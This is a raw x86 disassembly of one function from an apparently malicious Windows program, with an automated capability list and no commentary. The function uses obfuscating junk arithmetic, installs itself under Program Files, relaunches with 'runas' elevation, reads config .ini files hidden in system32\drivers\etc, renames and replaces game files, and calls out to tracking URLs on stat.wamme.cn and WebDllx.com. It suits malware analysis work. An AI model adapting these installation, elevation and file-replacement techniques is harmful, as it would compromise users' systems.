Function at 0x402430
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4439eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12ac
call fcn.00429a50
mov eax, dword [0x456fc0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
mov ecx, dword [0x455690]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.00429a0f
mov edi, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul edi, edi, 0x217
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
mov esi, eax
sub edi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
mov ebx, edx
add edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0x1d3
add esp, 4
mov dword [0x45568c], eax
call fcn.00440f75
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdb8]
call fcn.00402380
mov ecx, dword [ebp - 0xdb8]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402586
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4025a0
sub eax, edx
mov dword [ebp - 0xdb4], eax
jne 0x402f48
mov edi, dword [0x455698]
mov edx, dword [0x45568c]
imul edi, edi, 0x1ed
mov ecx, dword [0x45569c]
imul edx, edx, 0x217
add edi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x4556a4]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
add edi, eax
lea eax, [ebp - 0x114]
push eax
push 0x445dd9
push str.rand
lea edx, [ecx + edi - 0xb8]
push str.aaaaa
mov dword [0x455694], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
push ecx
call fcn.00429a0a
add esp, 4
test eax, eax
jle 0x402654
lea edx, [ebp - 0x114]
push edx
call fcn.00429a0a
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ebx, edx
mov eax, edx
and eax, 0x80000001
jns 0x40266e
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
mov eax, 0x709ad4e5
jne 0x4026d6
mov esi, dword [0x455694]
imul esi
imul esi, esi, 0xb8
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add ecx, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add ecx, eax
mov edi, dword [0x4556a4]
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
mov dword [0x45569c], ecx
lea esi, [ebx - 1]
lea edx, [ebx + 1]
jmp 0x402743
mov ecx, dword [0x4556a4]
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
mov edi, eax
imul edx, edx, 0x14f
mov eax, ecx
imul eax, eax, 0x92
sub edi, esi
mov esi, dword [0x45568c]
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x4556a4], edi
mov esi, ebx
lea edx, [ebx + 2]
mov eax, dword [0x4556a0]
imul eax, eax, 0x217
mov dword [ebp - 0xdac], eax
mov dword [ebp - 0xda8], edx
mov eax, 0x3949660b
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xdac]
sub ecx, eax
mov eax, 0x42776e9b
imul edi
mov edi, dword [0x455688]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455690]
imul eax, eax, 0xb8
sub ecx, eax
mov eax, dword [str._r_____r____]
lea edx, [ecx + eax]
add edi, edx
mov dword [0x455688], edi
mov edi, dword [ebp - 0xda8]
mov edx, 0x190
cmp edi, edx
jl 0x4027c1
dec ebx
mov dword [ebp - 0xda8], ebx
mov ebx, dword [0x455688]
imul esi, esi, 0x21
lea esi, [esi + str.Installing]
add ecx, eax
push esi
lea eax, [ebp - 0x214]
add ebx, ecx
push str.C:Program_Files_s
push eax
mov dword [0x455688], ebx
mov dword [ebp - 0xdb4], esi
call fcn.0042992a
add esp, 0xc
push 0
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp - 0xda8]
imul edx, edx, 0x21
add edx, str.Installing
push edx
push esi
lea eax, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push eax
call fcn.0042992a
mov ecx, dword [0x455694]
mov esi, dword [0x4556a8]
mov edi, dword [0x4556a0]
mov eax, 0xe070381d
imul edi, edi, 0x14f
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3d3fa421
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub edi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, esi
imul esi, esi, 0x12b
imul edx, edx, 0xb8
sub eax, edx
mov edx, dword [0x455690]
sub eax, ecx
mov dword [0x455698], eax
mov eax, 0x709ad4e5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov edi, eax
mov eax, 0xc2c05bdf
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
sub eax, edi
add edx, ecx
add edx, eax
add esp, 0x10
mov dword [ebp - 0xdac], 0
add esi, edx
push 0x100
lea eax, [ebp - 0x114]
push eax
push 0
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x114]
push 0x8000
push ecx
call fcn.0043628b
mov edi, dword [0x4556a8]
mov ebx, dword [0x4556a0]
mov ecx, dword [0x45568c]
imul ebx, ebx, 0x217
mov edx, edi
imul edx, edx, 0x12b
mov esi, eax
sub ebx, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [0x455690]
mov dword [ebp - 0xdb0], eax
mov eax, 0xe070381d
imul ebx
mov eax, dword [ebp - 0xdb0]
add edx, ebx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
sub ecx, dword [0x455694]
add ecx, 0x1d3
add esp, 0xc
cmp esi, 0xffffffff
mov dword [0x45568c], ecx
je 0x402bc7
mov edi, dword [0x455698]
imul ecx, ecx, 0x217
imul edi, edi, 0x1ed
add edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub edi, eax
push 0x100000
add edi, edx
lea edx, [ecx + edi - 0xb8]
push 0x457f40
push esi
mov dword [0x455694], edx
call fcn.00434ea8
push esi
mov edi, eax
call fcn.00435044
add esp, 0x10
cmp edi, 0x2800
jle 0x402bb5
mov ecx, dword [0x455694]
mov eax, 0x709ad4e5
imul ecx
imul ecx, ecx, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0
mov dword [0x45569c], esi
call fcn.00429a0f
push eax
push 0x445d98
push 0x458240
call fcn.0042992a
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.0043628b
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402bb5
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
sub eax, ebx
add eax, edx
add eax, ecx
mov ecx, dword [0x45568c]
mov ebx, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
push edi
add eax, edx
sub ebx, eax
push 0x457f40
push esi
mov dword [0x4556a4], ebx
call fcn.00432973
push 2
push 0
push esi
call fcn.004326fa
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0x3949660b
imul edi, edi, 0x217
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x42776e9b
imul ecx
mov ecx, dword [0x455690]
sar edx, 7
imul ecx, ecx, 0xb8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, edi
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x455688]
add ebx, edx
mov edx, dword [ebp - 0xda8]
push edx
lea eax, [ebp - 0xc14]
push eax
add ecx, ebx
push esi
mov dword [0x455688], ecx
call fcn.00432973
push esi
call fcn.00435044
add esp, 0x28
mov dword [ebp - 0xdac], 1
mov ecx, dword [0x45568c]
mov ebx, dword [0x455690]
mov edi, dword [0x4556a8]
mov esi, dword [0x455688]
imul esi, esi, 0x1ed
mov edx, edi
imul edx, edx, 0x246
add esi, edx
mov eax, 0x709ad4e5
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x8c55841d
imul ebx
add edx, ebx
mov ebx, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0xdac]
sub esi, ebx
sub esi, 0xb8
cmp eax, 1
mov dword [0x455690], esi
jne 0x402f54
mov eax, 0x709ad4e5
imul ecx, ecx, 0x217
imul edi, edi, 0x12b
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
add ebx, edi
mov ecx, edx
add ebx, edx
lea edx, [ebp - 0x214]
push edx
shr ecx, 0x1f
lea eax, [ebp - 0x114]
add ecx, ebx
push str._s__33201_
push eax
mov dword [str._r_____r____], ecx
call fcn.0042992a
mov esi, dword [0x4556a0]
xor eax, eax
imul esi, esi, 0x217
mov ecx, 0x11
lea edi, [ebp - 0xdfc]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a8]
imul ecx, ecx, 0x12b
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add esi, edx
mov edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [0x45569c]
sar edx, 7
shr edi, 0x1f
add edi, esi
mov esi, dword [0x455698]
mov eax, edx
imul esi, esi, 0x1ed
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0x1d3
mov dword [0x45568c], eax
imul eax, eax, 0x217
add esi, eax
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
add esp, 0xc
mov dword [ebp - 0xdfc], 0x44
mov dword [ebp - 0xdd0], 1
mov word [ebp - 0xdcc], 5
shr eax, 0x1f
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x92
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0xb8]
lea eax, [ebp - 0xe0c]
push eax
lea ecx, [ebp - 0xdfc]
push ecx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x455694], edx
push 0
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, 0x709ad4e5
je 0x402e09
mov ecx, dword [0x455694]
imul ecx
imul ecx, ecx, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0
mov dword [0x45569c], esi
call fcn.004298ea
mov ecx, dword [0x4556a4]
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xdb4]
sar edx, 7
mov eax, edx
shr eax, 0x1f
push ecx
add eax, edx
lea edx, [ebp - 0x214]
sub edi, eax
push str.C:Program_Files_s
push edx
mov dword [0x4556a4], edi
call fcn.0042992a
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x403a49
mov ecx, dword [0x45569c]
mov eax, 0x3949660b
imul ecx
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
sar edx, 7
imul esi, esi, 0x217
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x42776e9b
imul ecx
mov eax, dword [0x455688]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
push 0
imul edx, edx, 0xb8
push 0
push 0
sub edi, esi
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
sub edi, ecx
mov ecx, dword [str._r_____r____]
push 0x45567c
sub edi, edx
push 0
add edi, ecx
add eax, edi
push 0
mov dword [0x455688], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043ba7a
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x455690]
mov ebx, dword [0x4556a0]
mov ecx, dword [0x4556a4]
imul ebx, ebx, 0x217
imul esi, esi, 0xb8
mov eax, 0x3949660b
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x42776e9b
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 7
mov ecx, edx
sub edi, ebx
mov ebx, dword [0x455688]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
sub edi, esi
lea edx, [ebp - 0xda4]
add edi, eax
push edx
add ebx, edi
push 0x101
mov dword [0x455688], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402fc6
push 0
call fcn.004298ea
push 3
push 0x455678
push 0x413c
call fcn.004017b0
add esp, 0xc
test eax, eax
je 0x403065
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x455678]
cmp eax, 0xffffffff
mov dword [0x4556a4], edi
je 0x40305e
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.004298ea
mov esi, dword [0x4556a0]
mov ecx, dword [0x4556a8]
imul esi, esi, 0x217
imul ecx, ecx, 0x12b
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
mov edi, edx
add esi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 7
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
add eax, edi
sub eax, ecx
add eax, 0x1d3
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45568c], eax
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
jne 0x4030fa
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
je 0x4030fa
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x455688]
mov ecx, dword [0x4556a8]
imul esi, esi, 0x1ed
imul ecx, ecx, 0x246
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x8c55841d
imul ecx
mov eax, dword [0x4556a0]
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, eax
push 0
sub esi, 0xb8
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x455690], esi
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
je 0x4039e6
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
je 0x4039e6
mov ecx, dword [0x455694]
mov esi, dword [0x4556a8]
mov edi, dword [0x4556a0]
mov eax, 0xe070381d
imul edi, edi, 0x14f
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3d3fa421
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub edi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, esi
imul esi, esi, 0x12b
imul edx, edx, 0xb8
sub eax, edx
mov edx, dword [0x455690]
sub eax, ecx
mov dword [0x455698], eax
mov eax, 0x709ad4e5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov edi, eax
mov eax, 0xc2c05bdf
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
push 0x445cf4
sub eax, edi
add edx, ecx
push 0x200
add edx, eax
lea eax, [ebp - 0xa14]
push eax
push 0x445dd9
push str.ConfigL0
add esi, edx
push str.GameType1
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x445dd9
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4035c7
mov esi, dword [0x4556a0]
mov eax, dword [0x4556a8]
imul esi, esi, 0x217
mov ecx, dword [0x45568c]
imul eax, eax, 0x12b
sub esi, eax
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
mov edi, edx
add esi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr edi, 0x1f
mov ecx, edx
shr ecx, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x455694]
add ecx, edi
sub ecx, edx
lea edx, [ebp - 0xa14]
push edx
lea eax, [ebp - 0x12bc]
add ecx, 0x1d3
push 0x12c
push eax
mov dword [0x45568c], ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4035c7
mov esi, dword [0x455698]
mov ecx, dword [0x45568c]
imul esi, esi, 0x1ed
imul ecx, ecx, 0x217
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0xb8]
mov dword [0x455694], edx
mov edx, dword [ebp - 0x12bc]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403370
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12b0]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x403397
push str._s_s
jmp 0x40339c
push 0x445ccc
push ecx
call fcn.0042992a
mov ecx, dword [0x455694]
mov eax, 0x709ad4e5
imul ecx
imul ecx, ecx, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
add esp, 0x10
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push str._s.bak
push edx
mov dword [0x45569c], esi
call fcn.0042992a
add esp, 0xc
push 0
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x414]
push edx
call esi
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov ebx, eax
sub ebx, edi
add ebx, edx
add ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x414]
sub ebx, eax
push 0
push ecx
mov dword [0x4556a4], ebx
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
je 0x40352f
mov ecx, dword [0x45569c]
mov eax, 0x3949660b
imul ecx
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
sar edx, 7
imul edi, edi, 0x217
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x42776e9b
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0xb8
sub ebx, edi
mov edi, dword [str._r_____r____]
sub ebx, ecx
sub ebx, edx
mov edx, dword [0x455688]
add ebx, edi
lea eax, [ebp - 0x614]
add edx, ebx
push eax
mov dword [0x455688], edx
call esi
push 0
call fcn.004298ea
mov esi, dword [0x455688]
mov ecx, dword [0x4556a8]
imul esi, esi, 0x1ed
imul ecx, ecx, 0x246
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x455690]
sar edx, 8
mov eax, edx
mov ebx, dword [0x4556a0]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x8c55841d
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
lea edx, [ebp - 0x414]
sub esi, ebx
push edx
lea eax, [ebp - 0x614]
sub esi, 0xb8
push eax
mov dword [0x455690], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4035b1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
jmp 0x4035cd
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov eax, 0x3d3fa421
imul esi, esi, 0x14f
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
lea eax, [ebp - 0x814]
mov dword [0x455698], edi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403640
sub eax, edx
mov dword [ebp - 0xdb4], eax
jne 0x403658
push 0
call fcn.004298ea
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x814]
sub edi, eax
push 0
push ecx
mov dword [0x4556a4], edi
call fcn.0042971d
add esp, 8
cmp eax, 0xffffffff
jne 0x403800
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x3949660b
imul esi, esi, 0x217
imul ecx
mov ecx, dword [0x455698]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc3a13de7
imul ecx
mov eax, dword [ebp + 8]
push 0
add edx, ecx
push 0
push 0
sar edx, 8
push 0
mov ecx, edx
add esi, edx
mov edx, dword [0x4556a0]
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
imul edx, edx, 0x14a
push 0x45567c
push 0
push 0
shr ecx, 0x1f
push 1
add ecx, esi
add eax, 0x74
sub ecx, edx
push 0x68
push eax
mov dword [0x4556a8], ecx
call fcn.0043ba7a
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x455690]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push 0
